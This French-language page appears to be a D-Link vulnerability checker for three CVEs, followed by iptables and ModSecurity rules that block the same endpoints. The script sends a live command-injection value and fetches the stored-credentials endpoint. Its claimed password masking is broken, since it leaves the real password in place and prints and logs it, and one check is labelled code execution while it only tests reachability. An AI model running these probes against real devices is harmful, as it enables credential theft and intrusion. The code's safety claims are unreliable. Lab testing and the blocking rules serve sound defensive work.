Analyse des Vulnérabilités D-Link : Étude Avancée en Laboratoire Isolé

# dlink_vuln_analysis.py - Analyse éducative des CVEs D-Link en lab isolé
import requests
import argparse
import logging
import sys
import nmap
import time
import random
from urllib.parse import quote

# Configuration du logging forensique
logging.basicConfig(
    filename="analysis.log",
    level=logging.DEBUG,
    format="%(asctime)s - %(levelname)s - %(message)s",
    handlers=[
        logging.FileHandler("analysis.log"),
        logging.StreamHandler(sys.stdout)
    ]
)

class AnalysisError(Exception):
    """Exception personnalisée pour erreurs d'analyse"""
    pass

def check_target(target, port=80):
    """Vérifie si la cible est accessible et identifiée comme D-Link"""
    logging.debug(f"Vérification de {target}:{port}")
    try:
        response = requests.get(f"http://{target}:{port}", timeout=5, verify=False)
        if "D-Link" in response.text or response.headers.get("Server", "").startswith("D-Link"):
            logging.info(f"Cible identifiée comme D-Link: {target}:{port}")
            return True
        logging.warning(f"Non identifiée comme D-Link: {target}:{port}")
        return False
    except requests.RequestException as e:
        logging.error(f"Erreur de connexion: {str(e)}")
        raise AnalysisError(f"Impossible de se connecter à {target}:{port}")

def detect_device(target, port=80):
    """Détection avancée avec Nmap pour confirmer le modèle D-Link"""
    logging.debug(f"Détection Nmap sur {target}:{port}")
    try:
        nm = nmap.PortScanner()
        nm.scan(target, str(port), arguments="-sV --script http-title,http-headers")
        if target in nm.all_hosts() and "tcp" in nm[target] and port in nm[target]["tcp"]:
            service = nm[target]["tcp"][port].get("product", "")
            title = nm[target]["tcp"][port].get("script", {}).get("http-title", "")
            headers = nm[target]["tcp"][port].get("script", {}).get("http-headers", "")
            if "D-Link" in service or "D-Link" in title or "D-Link" in headers:
                logging.info(f"Modèle D-Link confirmé: {target}:{port}")
                return True
        logging.warning(f"Aucun modèle D-Link détecté: {target}:{port}")
        return False
    except Exception as e:
        logging.error(f"Erreur Nmap: {str(e)}")
        return False

def analyze_cve_2020_25078(target, port=80):
    """Analyse de CVE-2020-25078: Divulgation d'informations"""
    url = f"http://{target}:{port}/config/getuser?index=0"
    logging.info(f"Analyse CVE-2020-25078 sur {url}")
    try:
        response = requests.get(url, timeout=5, verify=False)
        if response.status_code == 200 and "username" in response.text and "password" in response.text:
            logging.info(f"CVE-2020-25078 détectée: {target}:{port}")
            # Masquer données sensibles
            redacted = response.text.replace("password=", "password=[REDACTED]")
            return {"status": "vulnerable", "data": redacted}
        logging.info(f"Aucune vulnérabilité CVE-2020-25078: {target}:{port}")
        return {"status": "not_vulnerable"}
    except requests.RequestException as e:
        logging.error(f"Erreur analyse CVE-2020-25078: {str(e)}")
        return {"status": "error", "message": str(e)}

def analyze_cve_2020_25079(target, username, password, port=80):
    """Analyse de CVE-2020-25079: Injection de commandes"""
    url = f"http://{target}:{port}/cgi-bin/ddns_enc.cgi"
    auth = (username, password)
    payload = {"ModuleID": quote(";echo VULNERABLE;")}  # Payload échappé
    logging.info(f"Analyse CVE-2020-25079 sur {url}")
    try:
        response = requests.post(url, data=payload, auth=auth, timeout=10, verify=False)
        if response.status_code == 200 and "VULNERABLE" in response.text:
            logging.info(f"CVE-2020-25079 détectée: {target}:{port}")
            return {"status": "vulnerable"}
        logging.info(f"Aucune vulnérabilité CVE-2020-25079: {target}:{port}")
        return {"status": "not_vulnerable"}
    except requests.RequestException as e:
        logging.error(f"Erreur analyse CVE-2020-25079: {str(e)}")
        return {"status": "error", "message": str(e)}

def analyze_cve_2022_40799(target, username, password, port=80):
    """Analyse de CVE-2022-40799: Exécution de code via backup"""
    url = f"http://{target}:{port}/cgi-bin/backup.cgi"
    auth = (username, password)
    logging.info(f"Analyse CVE-2022-40799 sur {url}")
    try:
        response = requests.get(url, auth=auth, timeout=5, verify=False)
        if response.status_code == 200 and "config" in response.text.lower():
            logging.info(f"CVE-2022-40799 potentielle: {target}:{port}")
            return {"status": "potentially_vulnerable"}
        logging.info(f"Aucune vulnérabilité CVE-2022-40799: {target}:{port}")
        return {"status": "not_vulnerable"}
    except requests.RequestException as e:
        logging.error(f"Erreur analyse CVE-2022-40799: {str(e)}")
        return {"status": "error", "message": str(e)}

def main():
    """Fonction principale pour orchestrer l'analyse"""
    parser = argparse.ArgumentParser(description="Analyse éducative des vulnérabilités D-Link en laboratoire isolé")
    parser.add_argument("target", help="Adresse IP de la cible (ex. 192.168.0.1)")
    parser.add_argument("--port", type=int, default=80, help="Port de la cible (défaut: 80)")
    parser.add_argument("--username", default="admin", help="Nom d’utilisateur pour authentification")
    parser.add_argument("--password", default="password", help="Mot de passe pour authentification")
    args = parser.parse_args()

    logging.info(f"Début analyse sur {args.target}:{args.port}")
    try:
        if not check_target(args.target, args.port) or not detect_device(args.target, args.port):
            logging.error(f"Cible non valide ou non D-Link: {args.target}:{args.port}")
            print(f"[-] Cible {args.target}:{args.port} non valide ou non détectée comme D-Link")
            sys.exit(1)

        print(f"\n[+] Analyse de CVE-2020-25078 (Divulgation d’Informations)...")
        result_25078 = analyze_cve_2020_25078(args.target, args.port)
        if result_25078["status"] == "vulnerable":
            print("[+] Vulnérabilité détectée. Données exposées (extrait masqué) :")
            print(result_25078["data"][:100] + "...")
        elif result_25078["status"] == "error":
            print(f"[-] Erreur: {result_25078['message']}")
        else:
            print("[-] Aucune vulnérabilité détectée")

        print(f"\n[+] Analyse de CVE-2020-25079 (Injection de Commandes)...")
        result_25079 = analyze_cve_2020_25079(args.target, args.username, args.password, args.port)
        if result_25079["status"] == "vulnerable":
            print("[+] Vulnérabilité détectée : Possibilité d’exécution de commandes")
        elif result_25079["status"] == "error":
            print(f"[-] Erreur: {result_25079['message']}")
        else:
            print("[-] Aucune vulnérabilité détectée")

        print(f"\n[+] Analyse de CVE-2022-40799 (Exécution de Code)...")
        result_40799 = analyze_cve_2022_40799(args.target, args.username, args.password, args.port)
        if result_40799["status"] == "potentially_vulnerable":
            print("[+] Vulnérabilité potentielle détectée : Endpoint de sauvegarde accessible")
        elif result_40799["status"] == "error":
            print(f"[-] Erreur: {result_40799['message']}")
        else:
            print("[-] Aucune vulnérabilité détectée")

    except AnalysisError as e:
        logging.critical(f"Erreur critique: {str(e)}")
        print(f"[-] Erreur critique: {str(e)}")
        sys.exit(1)
    except KeyboardInterrupt:
        logging.warning("Analyse interrompue par l’utilisateur")
        print("[-] Analyse interrompue")
        sys.exit(0)

if __name__ == "__main__":
    main()
Copier

#!/bin/bash
# Règles iptables pour protéger un dispositif D-Link
iptables -F
iptables -A INPUT -p tcp --dport 80 -s 192.168.0.100 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p tcp -m string --string "/config/getuser" --algo bm -j DROP
iptables -A INPUT -p tcp -m string --string "/cgi-bin/ddns_enc.cgi" --algo bm -j DROP
iptables -A INPUT -p tcp -m string --string "/cgi-bin/backup.cgi" --algo bm -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP # Scan NULL
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP # Scan XMAS
iptables -A INPUT -j DROP
iptables -A OUTPUT -d 192.168.0.0/24 -j ACCEPT
iptables -A OUTPUT -j DROP
Copier

SecRule REQUEST_URI "@contains /config/getuser" \
    "id:1001,phase:1,deny,status:403,msg:'Blocage CVE-2020-25078',log"
SecRule REQUEST_URI "@contains /cgi-bin/ddns_enc.cgi" \
    "id:1002,phase:1,deny,status:403,msg:'Blocage CVE-2020-25079',log"
SecRule REQUEST_URI "@contains /cgi-bin/backup.cgi" \
    "id:1003,phase:1,deny,status:403,msg:'Blocage CVE-2022-40799',log"
Copier